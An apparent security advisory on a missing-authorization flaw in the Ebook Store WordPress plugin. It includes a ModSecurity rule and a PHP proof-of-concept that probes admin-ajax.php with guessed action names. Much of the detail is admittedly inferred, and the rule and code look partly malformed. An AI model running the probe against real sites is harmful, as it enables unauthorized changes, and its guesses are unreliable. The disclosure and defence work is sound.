Atomic Edge analysis of CVE-2026-65452 (metadata-based):
This vulnerability affects the Ebook Store plugin for WordPress, version 6.19 and earlier. The plugin fails to enforce a capability check on a specific internal function. This missing authorization flaw allows an unauthenticated attacker to perform an unauthorized action. The CVSS score of 5.3 (Medium) and vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicate a low-impact integrity issue with no confidentiality or availability impact. The vulnerability is categorized under CWE-862 (Missing Authorization).
Root Cause:
The root cause is a missing capability check on a function within the plugin, as confirmed by the CWE classification. This is a common WordPress security issue where developer hooks, often AJAX handlers, are registered without verifying user permissions. The description confirms a missing capability check, but without code, the exact function and its purpose remain inferred. Atomic Edge analysis infers that the vulnerable function is likely tied to an AJAX action or a form submission handler. The plugin likely registers a function for both authenticated and unauthenticated users, allowing the action to be executed if the user can reach the endpoint, which is the case here since there is no privilege requirement. This is a clear case where the principle of least privilege was not applied.
Exploitation:
An unauthenticated attacker can exploit this by sending a crafted HTTP request to the WordPress AJAX endpoint. The typical attack vector is a POST request to `/wp-admin/admin-ajax.php`. The attacker must send a valid `action` parameter that maps to the vulnerable plugin function. Given the plugin slug is `ebook-store`, the action parameter is likely something like `ebook_store_update_status`, `ebook_store_settings`, or a similarly named function. While the exact action name is inferred, the pattern is standard for WordPress plugins. The attacker would not need to provide a nonce, as the vulnerability is the absence of a capability check, which means nonce verification is also likely absent. The request could contain additional parameters that the vulnerable function processes, potentially altering data or settings within the plugin.
Remediation:
The fix requires adding a capability check to the vulnerable function. This is typically done using WordPress functions like `current_user_can()` and a corresponding capability, such as `manage_options` or `edit_posts`. The developer must also verify a nonce to prevent cross-site request forgery (CSRF) alongside the capability check. A proper fix would restrict the function to only be executed by authenticated users with the appropriate role. The patch version 6.20 addresses this by adding the necessary `current_user_can` checks and nonce verifications to all vulnerable functions.
Impact:
Successful exploitation allows an unauthenticated attacker to perform an unauthorized action. The CVSS vector indicates the integrity impact is low. This could involve altering plugin settings that affect the storefront, changing book availability, or modifying metadata. The attacker cannot read sensitive data (no confidentiality impact) or gain full control of the site (no availability impact). The unauthorized action could lead to a loss of data integrity within the plugin’s data, potentially defacing the digital store or disrupting its normal operations.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65452 (metadata-based)
# This rule attempts to block unauthenticated AJAX requests to the Ebook Store plugin.
# Since the exact action is unknown, it targets common action namespaces associated with the plugin.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65452 via Ebook Store AJAX action',severity:'CRITICAL',tag:'CVE-2026-65452'"
SecRule ARGS_POST:action "@rx ^ebook_store_" "chain"
SecRule REQUEST_COOKIES:wordpress_logged_in "^$" "chain"
SecRule &REQUEST_COOKIES:wordpress_logged_in "@eq 0" "chain"
SecRule ARGS_POST:action "@rx ^ebook_store_" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65452 - Ebook Store <= 6.19 - Missing Authorization
/*
* Atomic Edge Proof of Concept
* This PoC exploits a missing authorization check in the Ebook Store plugin.
* The vulnerability allows unauthenticated users to trigger a specific action,
* likely via an AJAX handler.
* Since the exact action hook is not disclosed, this PoC attempts to guess
* common action names based on the plugin slug conventions.
*/
$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php'; // Change this to the target site URL
// List of likely action hooks for the plugin. The action name is often prefixed with the plugin slug.
$actions_to_try = array(
'ebook_store_update' ,
'ebook_store_settings' ,
'ebook_store_save' ,
'ebook_store_import' ,
'ebook_store_export'
);
echo "[*] Atomic Edge CVE-2026-65452 PoCn";
foreach ($actions_to_try as $action) {
echo "[*] Trying action: " . $action . "n";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('action' => $action)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] HTTP Response Code: " . $http_code . "n";
echo "[*] Response Body: " . $response . "nn";
if (strlen($response) > 0 && $http_code == 200) {
echo "[!] Action '" . $action . "' may be vulnerable. Check the response for unexpected output or changes.n";
} else {
echo "[-] Action '" . $action . "' did not return a definitive response, continuing to next.n";
}
}
echo "[*] PoC completed. If the plugin is vulnerable, one of the above actions will have triggered an unauthorized action.n";
?>